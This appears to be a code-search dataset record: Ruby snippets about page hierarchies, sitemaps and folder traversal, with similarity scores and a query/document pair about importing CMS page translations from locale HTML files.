"def sitemapFolderLink(page)\n return '' if page.level == 1\n if page.folded?(current_user.id)\n css_class = 'folded'\n title = _t('Show childpages')\n else\n css_class = 'collapsed'\n title = _t('Hide childpages')\n end\n link_to(\n '',\n alchemy.fold_admin_page_path(page),\n :remote => true,\n :method => :post,\n :class => \"page_folder #{css_class}\",\n :title => title,\n :id => \"fold_button_#{page.id}\"\n )\n end",
"def pages\n end",
"def sitemap\n\tpages = []\n\tPage.each_with_level(Page.find(:all, :order => 'lft ASC')) do |page,level|\n\t pages << {\n\t :page => page,\n\t :level => level\n\t }\n\tend\n\tpages[0..-2].map! do |p|\n\t p.update(:have_children => p[:level] < pages[pages.index(p)+1][:level])\n\tend\n\tpages.last.update(:have_children => false) unless pages.empty?\n\n\tul_li_for pages do |page|\n %[<a href=\"#{root_url+page[:page].url}\">#{page[:page].menu}</a>]\n\tend\n end",
"def get_nested_pages(title)\n sitemap.resources.select { |resource| resource.data.type == 'page' and resource.data.nested == true and resource.data.parent == title }\n .sort_by { |r| get_page_priority(r.data) }\n end",
"def admin_xml_each_page(path)\n first_page=admin_xml(path)\n pages=REXML::XPath.first(first_page,'//LastPage/text()').value.to_i\n (1..pages).each do |page|\n result=admin_xml(\"#{path}?page=#{page}\")\n yield result\n end\n end",
"def collect_tree_up_from (foliage,\n parents,\n except_homepage,\n except_page,\n except_with_children)\n ancestry_string = parents.collect {|x| x.id.to_s }.join(\"/\")\n name_prefix = parents.collect {|x| x.title }.join(\" / \")\n name_prefix += \" / \" if name_prefix.present?\n\n our_mans_indexes = []\n foliage.each_index do |indx|\n if foliage[indx].ancestry.to_s == ancestry_string\n our_mans_indexes << indx\n end\n end\n\n leaves = []\n\n our_mans_indexes.reverse!\n our_mans_indexes.each do |indx|\n leaves << foliage.delete_at(indx)\n end\n\n leaves.sort! {|a,b| (a.prior == b.prior) ? a.id <=> b.id : a.prior <=> b.prior }\n result = []\n\n leaves.each do |leaf|\n do_writing = true\n if (except_page && leaf == except_page) || (except_homepage && leaf.home?)\n do_writing = false\n end\n result << [ name_prefix + leaf.title, leaf.id ] if do_writing\n unless do_writing == false && except_with_children\n result += collect_tree_up_from foliage,\n (parents + [ leaf ]),\n except_homepage,\n except_page,\n except_with_children\n end\n end\n\n result\n end",
"def process(page, depth)\n return if page.nil? || depth >= @params.fetch(:crawling_depth, CONFIG[:crawling_depth])\n get_sub_pages(page, :agent => @agent).each do |sub_page|\n begin\n process(sub_page, depth + 1)\n sleep(1)\n rescue Mechanize::UnsupportedSchemeError => _\n $stderr.puts 'Error: Found link with unsupported scheme, trying another'\n rescue Mechanize::ResponseCodeError => err\n $stderr.puts \"Error: #{err.message}\"\n end\n\n end\n log(page)\n end",
"def siblings\n # List other markdown files in the same folder.\n\n # Sibling folder.\n folder = File.dirname @absolute_path\n\n Slimdown::Folder.new(folder).pages\n end",
"def trace\n \n path = WikiPath.new\n \n page = self\n\n wikipage = Wikipedia.find(title)\n\n # If page has a parent we must stop (we can fetch the cached path or it's a loop)\n # If there's no page... we reached the end of the road\n while !page.blank? and page.parent_id.blank? \n \n path.pages << page\n \n # We must get rid of infoboxes, metadata and Image and FIle links before we get the link title\n first_link_title = wikipage.content.gsub(\"\\n\", \"\").gsub(/\\{\\{[^\\}]*\\}\\}/, \"\").gsub(\"[[Image:\", \"\").gsub(\"[[File:\", \"\").match(/\\[\\[[^\\]]*\\]\\]/)[0]\n first_link_title = first_link_title.split(\"|\").first.gsub(\"]\", \"\").gsub(\"[\", \"\") unless first_link_title.nil?\n\n if first_link_title.nil?\n page.update_attributes :is_root => true\n page = nil\n else\n\n wikipage = Wikipedia.find(first_link_title)\n\n parent_page = WikiPage.find_by_title(first_link_title)\n parent_page ||= WikiPage.create :url => \"\", :title => first_link_title, :fetched_at => Time.now\n\n page.update_attributes :parent_id => parent_page.id\n\n\n page = parent_page \n end\n end\n\n unless page.blank?\n path.pages << page\n unless page.parent_id.blank?\n \n parent_pos = path.pages.index page.parent\n # If parent is not in the path then we have a cached path\n if parent_pos.nil?\n path.pages.concat(page.ancestors.reverse)\n else # If parent is in the path then we have a loop\n\n # remove pages from path\n roots = path.pages.slice! parent_pos, path.pages.length - parent_pos\n\n # create a tree\n tree = WikiTree.create :name => roots.map(&:title).join(\" - \")\n # we remove the parent page to every root and indicate it's a root\n roots.each do |root|\n root.update_attributes :is_root => true, :parent_id => nil\n end\n\n end\n\n end\n end\n\n path.pages.each do |page|\n tree.pages << page\n page.reload\n end\n\n path\n\n end",
"def get_sub_folder_contents\n # Convert the object received in parameters to a FolderNode object.\n folder_node = (params[:reactParams2][:nodeType]).constantize.new\n params[:reactParams2][:child_nodes].each do |key, value|\n folder_node[key] = value\n end\n\n # Get all of the children in the sub-folder.\n child_nodes = folder_node.get_children(nil, nil, session[:user].id, nil, nil)\n\n # Serialize the contents of each node so it can be displayed on the UI\n contents = []\n child_nodes.each do |node|\n contents.push(serialize_sub_folder_to_json(node))\n end\n respond_to do |format|\n format.html { render json: contents }\n end\n end",
"def travNav(navBar, &block)\n navBar.each { |nav|\n block.yield(nav)\n if nav['type'] == 'folder'\n travNav(nav['sub_nav'], &block)\n end\n }\nend",
"def index\n @root_pages = Page.root_pages\n @uncategorized_pages = Page.uncategorized\n end",
"def download_children(children, path)\n children.each do |child|\n new_path = \"#{path}/#{child.title}\"\n backup_folder_rec child.id, new_path if child.mimeType == FOLDER\n download_if_allowed_child child, new_path\n end\n end",
"def sitemap_children_for(page)\n sitemap_pages.fetch(page.id, []).sort_by(&:position)\n end",
"def walk_pages (page)\n\n # extract page content\n if page[:Type] == :Pages\n callback(:begin_page_container, [page])\n res = @xref.object(page[:Resources])\n resources.push res if res\n @xref.object(page[:Kids]).each {|child| walk_pages(@xref.object(child))}\n resources.pop if res\n callback(:end_page_container)\n elsif page[:Type] == :Page\n callback(:begin_page, [page])\n res = @xref.object(page[:Resources])\n resources.push res if res\n walk_resources(current_resources)\n\n if @xref.object(page[:Contents]).kind_of?(Array)\n contents = @xref.object(page[:Contents])\n else\n contents = [page[:Contents]]\n end\n\n fonts = font_hash_from_resources(current_resources)\n\n if page.has_key?(:Contents) and page[:Contents]\n contents.each do |content|\n obj = @xref.object(content)\n content_stream(obj, fonts)\n end \n end\n\n resources.pop if res\n callback(:end_page)\n end\n end",
"def each_child\n \n end",
"def generate_pages\n Dir.foreach(@site_path) do |file|\n if file =~ /(\\w+)\\.page/\n path = File.join(@site_path, file)\n\n File.open(File.join(@site_path, \"#{$1}.html\"), 'w') do |f|\n f << generate_page(parse_page(path))\n end\n\n @log.debug(\" generated a page from #{path}\")\n end\n end\n end",
"def respond_to_parent_initial_page\n if @dispaly_initial_list == true\n @folder = Folder.find_by_real_estate_property_id(@property.id,:conditions=>[\"parent_id = 0 and is_master = 0\"])\n assign_options(@folder.id)\n else\n assign_initial_options\n end\n responds_to_parent do\n render :action => 'respond_to_parent_initial_page.rjs'\n end\n end",
"def GetLevelDirs()\n directories = Dir.entries($level_folder)\n\n for i in 0...directories.length do\n\n if not directories[i].include? \".\" then\n $current_folder = $level_folder + directories[i] + \"/\"\n GetLevels($current_folder)\n end\n\n end\n\nend",
"def add_template_pages; end",
"def tree_print(tree, folder)\n str = \"\";\n tree.each do |key, value|\n if not value.is_a?(Hash)\n # page\n if value.name != \"Home\"\n str += \"<li><a href=\\\"/#{@wiki.base_path}#{value.url_path}\\\">#{value.name}</a></li>\"\n end\n else\n # folder\n subfolder = folder + \"/\" + key\n str += \"<li><a href=\\\"#{@wiki.base_path}#{subfolder}/\\\">#{key}</a>\"\n str += \"<ul>\"\n str += tree_print(value, subfolder)\n str += \"</ul>\"\n str += \"</li>\"\n end\n end\n return str\n end",
"def get_level_children(dirname,level) #:nodoc:\n dir_children = full_entries(dirname)\n @level_children += dir_children\n if level < @max_level\n dir_children.each {|e|\n if File.directory?(e)\n get_level_children(e,level + 1)\n end\n }\n end\n end",
"def image_list\n @folder = PulStore::Lae::Folder.find(params[:id])\n @page_title = \"Folder #{@folder.physical_number}\"\n @pages_list = get_pages_by_folder @folder.id\n respond_to do |format|\n format.html\n end\n end",
"def set_page\n @page = Page.published.friendly.find(params[:id])\n @sections = @page.sections.published.sorted\n @subpages = @page.subpages.published.sorted\n end",
"def sub_tree\n files = ProjectFile.where(directory_id: id)\n files = files.nil? ? [] : files \n\n files.sort{|x,y| \n if x.is_directory and not y.is_directory\n -1\n elsif not x.is_directory and y.is_directory\n 1\n else\n x.name <=> y.name\n end\n }\n end",
"def children\n @id = fix_id(params[:id], params[:format], params[:extra])\n if params[:root]==\"source\" then\n @isRoot = true;\n @work = DcmWork.new(@id)\n @children = [@work.pi]\n else\n @isRoot = false;\n @children = get_children(\"nla.\"+params[:root])\n end\n render :action => \"children.json\"\n end",
"def pages(treeish = nil)\n tree_list(treeish || @ref, true, false)\n end",
"def render_pages(static_path)\n puts \" Rendering pages\"\n Page.all.each do |p|\n if p.published? && (body = p.render)\n dir, filename = p.url, \"index.html\"\n dir, filename = p.parent.url, p.slug if p.slug =~ /\\.[^.]+$/i # File with extension (e.g. styles.css)\n FileUtils.mkdir_p(File.join(static_path, dir))\n File.open(File.join(static_path, dir, filename), 'w') { |io| io.print(body) }\n else\n puts \" ! Not rendering #{p.id} - #{p.status.name} - #{p.url}\"\n end\n end\nend",
"def recurse_link(children)\n perform_recursion(self[:target]).each do |meta|\n if meta.relative_path == \".\"\n self[:ensure] = :directory\n next\n end\n\n children[meta.relative_path] ||= newchild(meta.relative_path)\n if meta.ftype == \"directory\"\n children[meta.relative_path][:ensure] = :directory\n else\n children[meta.relative_path][:ensure] = :link\n children[meta.relative_path][:target] = meta.full_path\n end\n end\n children\n end",
"def generate_page_html(page, root_info, params={})\n @been_cached ||= []\n unless page.has_keyword? :nocache or @been_cached.include? page.id\n uri = page.uri\n uri = \"#{uri}/index\".split('/').flatten.join('/') if page.full_path == root_info[:index]\n @page = Comatose::PageWrapper.new(page)\n begin\n page_layout = get_page_layout(root_info)\n #puts \"mode = #{runtime_mode}, layout = #{page_layout}, template_root = #{template_root}, original_template_root = #{original_template_root}\"\n html = render_to_string( :text=>page.to_html({'params'=>params.stringify_keys}), :layout=>page_layout )\n cache_page( html, uri )\n rescue\n logger.error \"Comatose CMS Page Cache Exception: #{$!}\"\n @errors << \"(#{page}/#{page.slug}) - #{$!}\"\n end\n @been_cached << page.id\n # recurse...\n page.children.each do |child|\n generate_page_html(child, root_info)\n end\n end\n end",
"def get_children(directory)\n file = Pathname.new(directory)\n if file.directory?\n file.children\n else \n []\n end\nend",
"def render_entry_children(context, page, depth)\n output = %{}\n\n children = page.children_with_minimal_attributes(@options[:add_attributes]).reject { |c| !include_page?(c) }\n if children.present?\n output = %{<ul id=\"#{@options[:id]}-#{page.slug.to_s.dasherize}\" class=\"#{bootstrap? ? 'dropdown-menu' : ''}\">}\n children.each do |c, page|\n css = []\n css << 'first' if children.first == c\n css << 'last' if children.last == c\n\n output << render_entry_link(context, c, css.join(' '), depth)\n end\n output << %{</ul>}\n end\n\n output\n end",
"def children(options={})\n @global_page.children.all options\n end",
"def reorganize\n list = params[:list]\n prev_page = nil\n last_root = nil\n list.each_with_index do |item, i|\n item_params = item[1]\n\n page = Page.find(item_params['id'].to_i)\n \n # if root of tree on rails side\n if item_params['parent_id'] == ''\n page.parent_id = nil\n if last_root\n page.move_to_right_of(last_root.id)\n end\n last_root = page\n page.save\n\n else\n page.parent_id = item_params['parent_id'].to_i\n page.save\n \n # shift to the right of previous element if parent is the same\n if prev_page.parent_id == page.parent_id\n page.move_to_right_of(prev_page.id)\n else\n\n # iterate backwards to find last sibling\n current_index = i - 1 \n found_sibling = false\n keys = list.keys\n\n while found_sibling == false and current_index > 0 do\n if list[keys[current_index]]['parent_id'] == item_params['parent_id']\n page.move_to_right_of(list[keys[current_index]]['id'])\n found_sibling = true\n else\n current_index -= 1\n end\n end\n\n end\n end\n\n # set previous item\n prev_page = page\n\n end\n\n respond_to do |format|\n format.json { head :ok } \n end\n end",
"def visit_tree(files, &block)\n case files\n when Array\n files.each { | f| visit_tree(f,&block)}\n when String\n yield(:file, files) if block_given?\n when Hash\n files.each do |k,v|\n yield(:directory, k) if block_given?\n Dir.chdir(k) {visit_tree(v, &block) }\n end\n else\n throw \"Bad directory structure #{files}\"\n end\n end",
"def fetch_children\n @children = []\n for item in self.listex\n if item[\"type\"] == \"folder\" and item[\"id\"]!=@id #sharefile API includes self in list\n @children << ShareFolder.new(item[\"id\"], @authid, false, item)\n elsif item[\"type\"] == \"file\"\n @children << ShareFile.new(item[\"id\"], @authid, item)\n end\n end\n end",
"def bp_mock_directory_index\n\n tree_hash = BP.same_level_views(\"/mocks\")\n\n out = \"<ul>\"\n\n tree_hash.keys.each do |tree_hash_key|\n thk = tree_hash_key.gsub(\".html.erb\", \"\")\n thk = thk.gsub(\"/mocks\", \"\")\n\n out += content_tag :li, thk.gsub(\"/\", \"\")\n\n out += \"<ul>\"\n tree_hash[tree_hash_key].each do |tree_hash_value|\n thv = tree_hash_value.gsub(\".html.erb\", \"\")\n if thv != \"index\"\n out += content_tag :li, link_to(\"#{thv}\", \"/mocks/no_layout?t=#{thk}/#{thv}\")\n end\n\n end\n out += \"</ul>\"\n\n out += \"</li>\"\n end\n out += \"</ul>\"\n\n out.html_safe\nend",
"def directories; end",
"def directories; end",
"def get_children_recursion(node)\n\tif node.class == SOCIAL_NETWORK[0].class\n\t\tnode.children.each do |child|\n\t\t\tget_children_recursion(delegate_word(child))\n\t\tend\n\tend\nend",
"def pathWebSitePages\n pathWebSite + \"pages/\"\nend",
"def collect_subpages_for_page(data)\n stack, subpages = [], []\n stack << data\n begin\n element = stack.shift\n element.each do |e| \n if e.kind_of?(Hash)\n stack << e[:content]\n elsif e.kind_of?(String)\n next if e.nil? or e.empty?\n flag = false\n e.gsub(/\\\\newpage\\\\begin\\{bibunit\\}\\\\input\\{/) do |c| \n filename = e.match(/\\\\input\\{([^}]+)\\}/).to_s\n subpages << filename[(filename.index(\"/\")+1)...-1]\n flag = true\n \"\"\n end \n if !flag\n e.gsub(/\\\\input\\{/) do |c| \n filename = e.match(/\\\\input\\{([^}]+)\\}/).to_s\n subpages << filename[(filename.index(\"/\")+1)...-1]\n \"\"\n end\n end\n else \n raise \"got something unexpected in raw structure: #{e}\"\n end\n end \n end while !stack.empty?\n return subpages\nend",
"def process_pages()\n unless Dir.exist?(node_files_path)\n raise \"Path to downloaded pages '#{node_files_path}' does not exist\"\n end\n\n Dir.glob(File.join(node_files_path, '*')) do |file_name|\n puts \"Processing: #{file_name}\"\n\n document = File.open(file_name) { |f| Nokogiri::HTML(f) }\n elements = document.xpath(\"//div[@class = 'debug-data-item']\")\n node_data = Hash.new\n\n elements.each do |e|\n name = e['data-name']\n value = e['data-value']\n node_data[name] = value\n end\n\n @nodes << node_data\n serialise(node_data)\n end\n end",
"def generate_all_pages_html(params={})\n @errors = []\n @been_cached = []\n Comatose.mount_points.each do |root_info|\n ComatosePage.active_mount_info = root_info\n generate_page_html(ComatosePage.find_by_path( root_info[:index] ), root_info, params)\n end\n @errors\n end",
"def each(&block)\n files.each(&block)\n\n directories.each do |subdirectory|\n block.call(subdirectory)\n\n subdirectory.each(&block)\n end\n end",
"def render_recursively(output_path, title, obj, parent = '')\n renderer.render(output_path, parent, title, obj.get_thumbs, obj.filter)\n\n # For Doc object, returns a list of makes. For the NodeSet object, returns a list of models.\n obj.filter.each do |key|\n # Only recurse if not the same as the parent to avoid an infinite loop\n if title != key\n nodes = obj.search('work:contains(\"' + key + '\")')\n render_recursively(output_path, key, nodes, title)\n end\n end\n end",
"def crawlAllPages\n page = 1\n loop do\n puts \"Path: #{@basePath}#{page.to_s}\"\n path \"#{@basePath}#{page.to_s}\"\n\n response = crawl\n @dbm.insertCrawlerBlob response[\"beers\"]\n\n break if response[\"more\"].nil?\n page += 1\n end\n end",
"def process_directory(dir, files, rec)\n dir.children(true).each do |f|\n # ignore sub-directories\n if f.directory?\n if rec == false\n next\n else\n process_directory(f.expand_path, files, rec)\n end\n end\n process_file(f.expand_path, files)\n end\n end",
"def set_page_hierarchy\n @page_hierarchy = PageHierarchy.find(params[:id])\n end",
"def search_inherited_template\n # Get full ancestry path for current page\n parent_slugs = object.ancestry_path\n\n # Iterate over all parents:\n # 1. Generate template path:\n # ['grandparent', 'parent', 'current_page'] => 'grandparent/parent'\n # 2. Check if template for children exists:\n # 'app/views/pages/templates/grandparent/parent/_children_template.html.slim'\n # 3. Return it's name if exist or iterate again without closest parent\n while (template_dir = parent_slugs.tap(&:pop).join('/')).present?\n if File.exist?(\"#{TEMPLATE_DIR}/#{template_dir}/_#{CHILDREN_TEMPLATE_NAME}.html.slim\")\n inherited_template = \"templates/#{template_dir}/#{CHILDREN_TEMPLATE_NAME}\"\n break\n end\n end\n\n inherited_template\n end",
"def setup subdirs\n FileUtils.mkdir_p @root\n if subdirs and subdirs.length > 0\n subdirs.each do |subdir|\n FileUtils.mkdir_p \"#{@root}#{@ds}#{subdir}\"\n end\n @subdirs = subdirs\n end\n end"
] |
[
"0.68303376",
"0.67377526",
"0.6663272",
"0.6493114",
"0.63488424",
"0.63262385",
"0.6288872",
"0.62853926",
"0.6241335",
"0.624092",
"0.61820525",
"0.61731386",
"0.6112671",
"0.6099957",
"0.60779923",
"0.6066818",
"0.60621154",
"0.60349524",
"0.6033656",
"0.6017414",
"0.60074866",
"0.59875166",
"0.5984803",
"0.597192",
"0.5944879",
"0.5901468",
"0.5899275",
"0.5892491",
"0.58802885",
"0.5876144",
"0.5848411",
"0.58467484",
"0.58458143",
"0.5835781",
"0.5816267",
"0.5813591",
"0.58075583",
"0.58012307",
"0.58009994",
"0.5798515",
"0.57969344",
"0.5794003",
"0.5785859",
"0.5785564",
"0.5779636",
"0.5761788",
"0.575682",
"0.5755412",
"0.5752833",
"0.5748302",
"0.57400185",
"0.5736377",
"0.57323396",
"0.5719757",
"0.57119894",
"0.5700966",
"0.56922454",
"0.56849676",
"0.5672662",
"0.5670569",
"0.5669557",
"0.5665964",
"0.56597716",
"0.56448007",
"0.56420845",
"0.5638652",
"0.56363064",
"0.5635964",
"0.5630107",
"0.5625763",
"0.5624324",
"0.5617977",
"0.56116545",
"0.5599341",
"0.5597275",
"0.5591506",
"0.5591329",
"0.5590083",
"0.55810845",
"0.5577147",
"0.5562136",
"0.555492",
"0.5528827",
"0.5527375",
"0.55268955",
"0.55203813",
"0.55171496",
"0.5515758",
"0.5515758",
"0.55127245",
"0.551203",
"0.5507552",
"0.55069804",
"0.5503752",
"0.5487606",
"0.5479424",
"0.5476567",
"0.54703945",
"0.5466717",
"0.54610956",
"0.5454237"
] |
0.0
|
-1
|
Importing translations for given page. They look like `content.locale.html`
|
def import_translations(path, page)
old_translations = page.translations.pluck(:locale)
new_translations = []
Dir["#{path}content.*.html"].each do |file_path|
locale = File.basename(file_path).match(%r{content\.(\w+)\.html})[1]
new_translations << locale
translation = page.translations.where(locale: locale).first_or_initialize
next unless fresh_seed?(translation, file_path)
# reading file content in, resulting in a hash
fragments_hash = parse_file_content(file_path)
# parsing attributes section
attributes_yaml = fragments_hash.delete("attributes")
attrs = YAML.safe_load(attributes_yaml)
# applying attributes
layout = site.layouts.find_by(identifier: attrs.delete("layout")) || page.try(:layout)
translation.attributes = attrs.merge(
layout: layout
)
# applying fragments
old_frag_identifiers = translation.fragments.pluck(:identifier)
new_frag_identifiers, fragments_attributes =
construct_fragments_attributes(fragments_hash, translation, path)
translation.fragments_attributes = fragments_attributes
if translation.save
message = "[CMS SEEDS] Imported Translation \t #{locale}"
ComfortableMexicanSofa.logger.info(message)
# cleaning up old fragments
frags_to_remove = old_frag_identifiers - new_frag_identifiers
translation.fragments.where(identifier: frags_to_remove).destroy_all
else
message = "[CMS SEEDS] Failed to import Translation \n#{locale}"
ComfortableMexicanSofa.logger.warn(message)
end
end
# Cleaning up removed translations
translations_to_remove = old_translations - new_translations
page.translations.where(locale: translations_to_remove).destroy_all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def i18n\n %w(en es).each do |locale|\n copy_file \"i18n.#{ locale }.yml\", \"config/locales/seo_landing_pages.#{ locale }.yml\"\n end\n end",
"def seed_page_content_translations!\n I18n.available_locales.each do |locale|\n seed_content_for_locale locale.to_s\n end\n end",
"def load_translations(*filenames); end",
"def load_translations(*filenames); end",
"def load_translations\n super(@load_paths)\n end",
"def load_translations\n super(@load_paths)\n end",
"def translations; end",
"def get_po\r\n\r\n send_file(\"#{Rails.root}/po/#{params[:locale]}/#{APP_SID}.po\",\r\n :filename => \"#{APP_SID}.po\",\r\n :type => \"text/x-gettext-translation\")\r\n end",
"def get_translated_file(page, to)\n new_page = page.gsub('.html', \".#{to}.html\")\n new_page.gsub!('text.html', \"text.#{to}.html\")\n new_page.gsub!('text.plain', \"text.#{to}.plain\")\n new_page\n end",
"def translations\n raise \"i18n has no load_path(s)\" if ::I18n.load_path.empty?\n ::I18n.backend.instance_eval do\n init_translations unless initialized?\n translations\n end\n end",
"def load_locale!(locale)\n @projects.each do |project|\n @adapter.allowed_extensions.each do |extension|\n result = project.export locale, extension, @fallback\n\n if result.nil?\n raise \"Could not load project #{project} with extension #{extension} and locale #{locale}\"\n end\n\n strings, plurals = @adapter.parse result, extension\n\n strings = project.filter strings\n plurals = project.filter plurals\n\n warn \"Did not find any strings or plurals in #{project}\" if strings.empty? && plurals.empty?\n\n @strings[locale] = (@strings[locale] || {}).merge(strings)\n @plurals[locale] = (@plurals[locale] || {}).merge(plurals)\n end\n end\n end",
"def import(file)\n hash = YAML.load file\n raise ArgumentError, \"the YAML file must contain an unique first key representing the locale\" unless hash.keys.count == 1\n\n lang = hash.keys.first\n\n unless lang.to_s == I18n.locale.to_s\n raise ArgumentError, \"the language doesn't match\"\n end\n\n records = parse_hash(hash.first[1], lang)\n transaction do\n records.each do |x|\n if tr = locale(lang).find_by_key(x.key)\n tr.value = x.value\n tr.save!\n else\n x.save!\n end\n end\n end\n end",
"def load_translations\n files = if File.directory?(@path)\n Dir[@path + '/**/*.yml']\n elsif File.file?(@path)\n detect_list_or_file @path\n else\n $stderr.puts 'No valid translation file given'\n []\n end\n update_store files\n end",
"def load_translations_and_collect_file_errors(files); end",
"def generate_multilang(site)\n lang = site.data['curr_lang']\n prime_lang = site.config['prime_lang']\n is_localization = prime_lang != lang\n\n Jekyll.logger.info \"Generating translation in '#{lang}'\"\n\n prefix_lang = File.join site.source, \"_langs\", lang\n prefix_prime = File.join site.source, \"_langs\", prime_lang\n\n # Hack to skip processing regular content\n # if we're building a translation.\n if is_localization\n site.static_files = []\n site.pages = []\n end\n\n # prime language pages map url => page\n site.data['primes'] = {}\n # Outer loop over each page of prime_lang and their translations\n site.data['translations'].each do |relpath, locales|\n reldir, name = File.split relpath\n prime_file = File.join(prefix_prime, relpath)\n lang_file = File.join(prefix_lang, relpath)\n\n prime = create_page(site, prime_file, reldir, name, prime_lang, true, !is_localization)\n next unless prime\n\n has_localization = locales.inject({}) { |loc, hl| loc[hl] = true; loc }\n prime.data.merge!(\n 'is_localized' => !locales.empty?,\n 'is_localization' => false,\n 'has_localization' => has_localization)\n\n raise \"Two pages at the same URL #{prime.url}\" if site.data['primes'].key? prime.url\n\n site.data['primes'][prime.url] = prime\n translated_pages = [prime]\n\n # Inner loop over known single page translations from the manifest\n (locales || []).each do |hl|\n hl_file = File.join site.source, \"_langs\", hl, relpath\n page = create_page(site, hl_file, reldir, name, hl, true, hl == lang)\n page.data.merge!('is_localized' => true, 'is_localization' => true)\n translated_pages << page\n end\n\n # Map all the translations for a page on to each other\n translated_pages.each do |page|\n page.data[\"translations\"] = translated_pages\n end\n end\n end",
"def localized_page\n\t\treturn @page if @page\n\t\tl = langtag(I18n.locale)\n\t\t\n\t\tWikipedia.Configure do\n\t\t\tdomain \"#{l}.wikipedia.org\"\n\t\t\tpath \"w/api.php\"\n\t\tend\n\t\tp = page\n\t\tif p == nil || p.content == nil\n\t\t\tlogger.debug \"defaulting to english\"\n\t\t\tWikipedia.Configure do\n\t\t\t\tdomain \"en.wikipedia.org\"\n\t\t\t\tpath \"w/api.php\"\n\t\t\tend\n\t\t\tp = page\n\t\telse\n\t\t\tlogger.debug \"sending translated\"\n\t\tend\n\t\t@page = p\n\t\t@page\n\tend",
"def load_localization!\n reset_l10n_data\n\n # Load the rails localization\n if rails_localization_files\n rails_localization_files.each do |file|\n lang = File.basename(file, '.*')[0,2].downcase.to_sym\n # if a country is defined\n if File.basename(file, '.*')[3,5]\n country = File.basename(file, '.*')[3,5].upcase.to_sym\n @@countries << country if ( country != :* && !@@countries.include?(country) )\n if locales.include?(\"#{lang}-#{country}\".to_sym)\n @@locales[\"#{lang}-#{country}\".to_sym].merge(YAML.load_file(file).symbolize_keys)\n else\n @@locales[\"#{lang}-#{country}\".to_sym] = YAML.load_file(file).symbolize_keys\n @@rails_locales[locale_name(\"#{lang}-#{country}\")] = \"#{lang}-#{country}\".to_sym\n end\n @@languages << lang unless @@languages.include? lang\n else\n @@languages << lang unless @@languages.include? lang\n @f_locale = \"#{lang}-*\".to_sym\n @@locales[@f_locale] = @@locales[@f_locale].merge(YAML.load_file(file).symbolize_keys) if locales.include?(@f_locale)\n @@locales[@f_locale] = YAML.load_file(file).symbolize_keys unless locales.include?(@f_locale)\n end\n end\n end\n alias :load_translations! :load_localization!\n alias :load_localizations! :load_localization!\n\n # Load the UI localization\n if ui_localization_files\n ui_localization_files.each do |file|\n lang = File.basename(file, '.*')[0,2].downcase.to_sym\n if File.basename(file, '.*')[3,5]\n country = File.basename(file, '.*')[3,5].upcase.to_sym\n else\n country = '*'.to_sym\n end\n @@languages << lang unless @@languages.include? lang\n @@countries << country if ( country != :* && !@@countries.include?(country) )\n @file_locale = \"#{lang}-#{country}\".to_sym\n if locales.include?(@file_locale)\n @@locales[@file_locale] = @@locales[@file_locale].merge(YAML.load_file(file).symbolize_keys)\n @@ui_locales[locale_name(\"#{lang}-#{country}\")] = \"#{lang}-#{country}\".to_sym\n else\n @@locales[@file_locale] = YAML.load_file(file).symbolize_keys\n @@ui_locales[locale_name(\"#{lang}-#{country}\")] = \"#{lang}-#{country}\".to_sym\n end\n end\n end\n localize_rails\n # Return the path of the localization files\n return \"#{ui_localization_files} | #{rails_localization_files}\".to_s\n end",
"def init_i18n\n I18n.backend.class.send(:include, I18n::Backend::Pluralization)\n I18n.load_path.unshift(*locale_files)\n end",
"def page_i18n_scope(page)\n 'pages.' + page.gsub('/', '.')\n end",
"def import_page\n end",
"def other_languages_for_page(page)\n page_lang = @context.registers[:page]['language']\n langs = @context.registers[:site].config['languages'].reject {|l| l == page_lang }.find_all do |l|\n exists_in_language(page, l)\n end\n # puts \"other_languages_for_page(#{page}) = #{langs}\"\n langs\n end",
"def fetch_translations(locale)\n self.translations ||= {}\n return if self.translations[locale]\n\n # Tml.logger.debug(\"Fetching translations for #{label}\")\n\n results = self.application.api_client.get(\n \"translation_keys/#{self.key}/translations\",\n {:locale => locale, :per_page => 10000},\n {:cache_key => Tml::TranslationKey.cache_key(locale, self.key)}\n ) || []\n\n update_translations(locale, results)\n\n self\n rescue Tml::Exception => ex\n self.translations = {}\n self\n end",
"def import\n redirect_to({:action => :index, :offset => params[:offset]}, :alert => I18n.t('couchbase_i18n.translation.no_import_file_given')) and return unless params[:importfile].present?\n filename = params[:importfile].original_filename\n extension = filename.sub(/.*\\./, '')\n if extension == 'yml'\n hash = YAML.load_file(params[:importfile].tempfile.path) rescue nil\n redirect_to({:action => :index, :offset => params[:offset]}, :alert => I18n.t('couchbase_i18n.translation.cannot_parse_yaml')) and return unless hash\n CouchbaseI18n.traverse_flatten_keys(hash).each do |key, value|\n existing = CouchbaseI18n::Translation.find_by_translation_key(key)\n if existing\n if existing.translation_value != value\n existing.translation_value = value\n existing.translated = true\n existing.save\n end\n else\n CouchbaseI18n::Translation.create :translation_key => key, :translation_value => value\n end\n end \n else\n redirect_to({:action => :index, :offset => params[:offset]}, :alert => I18n.t('couchbase_i18n.translation.no_proper_import_extension', :extension => extension)) and return \n end\n redirect_to({:action => :index, :offset => params[:offset]}, :notice => I18n.t('couchbase_i18n.translation.file_imported', :filename => filename))\n end",
"def index\n @page_translations = PageTranslation.all\n end",
"def init_translations; end",
"def load_i18n\n res = YAML.load_file(File.join(File.dirname(__FILE__), 'ie6nomore.i18n.yml'))\n end",
"def i18n_content(content, translation_params = {})\n I18n.t(content, **({locale: I18n.locale}.merge(translation_params)) )\nend",
"def init_i18n\n I18n.backend.class.send(:include, I18n::Backend::Pluralization)\n I18n.load_path.unshift(*locale_files)\n\n I18n.reload!\n end",
"def use_i18n; end",
"def test_load_about_missing_locale\n doc = SimpleDocument.read \"folder/about\", :locale => \"fr\"\n \n assert_equal \"#{DIR}/fixtures/folder/about.md\", doc.uri\n end",
"def files_to_translate\n folders = [\n \"app\",\n \"lib\",\n \"config\",\n locale_path\n ].join(\",\")\n\n exts = [\n \"rb\",\n \"erb\",\n \"haml\",\n \"slim\",\n \"rhtml\",\n \"js\",\n \"jsx\",\n \"vue\",\n \"coffee\",\n \"handlebars\",\n \"hbs\",\n \"mustache\"\n ].join(\",\")\n\n Dir.glob(\n \"{#{folders}}/**/*.{#{exts}}\"\n )\n end",
